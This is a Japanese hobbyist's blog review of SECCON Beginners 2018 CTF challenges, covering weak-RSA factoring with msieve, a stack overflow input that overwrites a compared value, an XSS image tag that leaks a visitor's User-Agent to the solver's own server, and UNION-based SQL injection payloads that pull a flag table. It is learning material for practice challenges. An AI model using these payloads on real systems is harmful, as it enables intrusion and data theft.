196の日記

セキュリティ系の勉強、その他開発メモとか雑談、忘れそうな計算式などを書き溜める場所になっています. githhubはUnity触っていた頃ものがメイン https://github.com/196kakinuma

SECCON for beginners 2018 【復習回】

Write upみたいなことだけれど、自分で解いた範囲ではなく他の人のWrite upをみて解いてくので、ご了承を。。

初心者の書いた簡単な部分のWrite upはこちら↓
thinline196.hatenablog.com


今回参考にさせていただくのはこちらの凄い方
SECCON Beginners CTF 2018 Write-up




RSA is Power 103pt

この問題、RSAと書いてあるので問題内容はすぐに把握。で is Powerと書かれていたので、ああこれはもう脳死で回せと言うことかと笑 ですが、逆にそれしかわからず、pythonのなんかのライブラリでとりあえず約数を求めようとしたものの、なんか全然終わらないしMacは熱を帯びるわで、お手上げしました。


タイトルと一緒に渡され他のはこの文字列

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

write upを参考にすると、msieveを使って簡単に素因数分解できるそう。ちなみにNを分解します。(どうやらこのNは短い部類に入るそうで、、難易度は低いらしい、)

./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577 # -eで10進数15桁以上の因数を探索


Msieve v. 1.52 (SVN unknown)
Mon May 28 22:21:45 2018
random seeds: a1f76f36 9102150a
factoring 97139961312384239075080721131188244842051515305572003521287545456189235939577 (77 digits)
searching for 15-digit factors
searching for 20-digit factors
commencing quadratic sieve (77-digit input)
using multiplier of 17
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 922619 (36471 primes)
using large prime bound of 92261900 (26 bits)
using trial factoring cutoff of 26 bits
polynomial 'A' values have 10 factors

sieving in progress (press Ctrl-C to pause)
36992 relations (19524 full + 17468 combined from 192471 partial), need 36567
36992 relations (19524 full + 17468 combined from 192471 partial), need 36567
sieving complete, commencing postprocessing
begin with 211995 relations
reduce to 52287 relations in 2 passes
attempting to read 52287 relations
recovered 52287 relations
recovered 40984 polynomials
attempting to build 36992 cycles
found 36992 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 19524
   length 2 : 17468
largest cycle: 2 relations
matrix is 36471 x 36992 (5.4 MB) with weight 1110613 (30.02/col)
sparse part has weight 1110613 (30.02/col)
filtering completed in 3 passes
matrix is 25358 x 25422 (4.0 MB) with weight 849423 (33.41/col)
sparse part has weight 849423 (33.41/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 25310 x 25422 (2.6 MB) with weight 612458 (24.09/col)
sparse part has weight 417300 (16.41/col)
commencing Lanczos iteration
memory use: 2.6 MB
lanczos halted after 402 iterations (dim = 25304)
recovered 14 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329 #因数1
prp39 factor: 324144336644773773047359441106332937713 #因数2
elapsed time 00:02:15

計算量が最小の因数pの大きさに依存するものと合成数nの大きさのみに依存するものに分けることができるらしく、今回使用した楕円曲線法は前者のタイプのアルゴリズムらしいです。ちなみに後者は複数多項式2次ふるい法(MPQS)とか



これを上の参考サイトさんのpythonコードで実行します。どうやらpython2用のコードっぽいのでできない人はpaizaで、


ctf4b{5imple_rs4_1s_3asy_f0r_u}





[Warmup] condition 85pt

言い訳をするとこれ、結果的には解けてました!サーバに投げる文字列作ってました!けどちょうどメモった後、夜ご飯を食べに行ってしまって、、そのまま帰って試さずにこれはダメな奴だったと勝手に思い込んで、、、、ああぁ

[rbp -0x04]の値と 0xdeadbeefの値をcmpで比べている部分がありその直前にgetsがあったので、絶対ここでした。

AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDAAAA¥xaf¥xbe¥xed¥xde #44個の文字埋め

getsで入力した値でうまくrbp-0x04先の値を書き換えます。Aをめちゃ大量に入力してgdbなどでどこらへんまでAAAAAAAで書き換わるか探すことで解けるはずです。今回はcmpが成功することで、flagの表示部分までプログラムが走るようになるギミックでした。



Gimme your comment 78pt

このご意見ページからブラウザのUser-Agentを発見しろと言う問題。これ、解くには自分でサーバを立ち上げて上げる必要があったらしいです。Javascriptが本文の場所から入力できて、バリデーションされてないってわかっただけに悔しい問題でした。。

手元にサーバーを立ち上げて、問い合わせの本文に<img src="http://自分のIPアドレス">を書き込む。

と解説されているので、やはり本文のところでした、、まぁどうぜhtmlのタグとか思いつかなくてわからなかったのかもですが笑



色々いじってると次のsql文をどこかしらでやっていることはわかった。

/items.php?minstock=0

今考えればこれは100SQLインジェクションの問題ですね,,笑 全然わかりませんでした。。。

で、解説によればMySQLを使用しているらしいので、スキーマも決定し、

0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- #確認
0 UNION SELECT flag,2,3,4,5 FROM flag-- #取り出し

これ、数日前に対策で少し勉強したところだったので、とても悔しい、、やはり実装されている中で見つけるって言うのは難しかったですね、、





こんな感じで

当日に解けそうだった問題や、解けなかったけどめっちゃ考えた問題を復習しました。


考えて楽しかったのはPwnだったので、初心者なりにまずはじめにPwnを勉強し始めようと思いました。頑張ります



以上。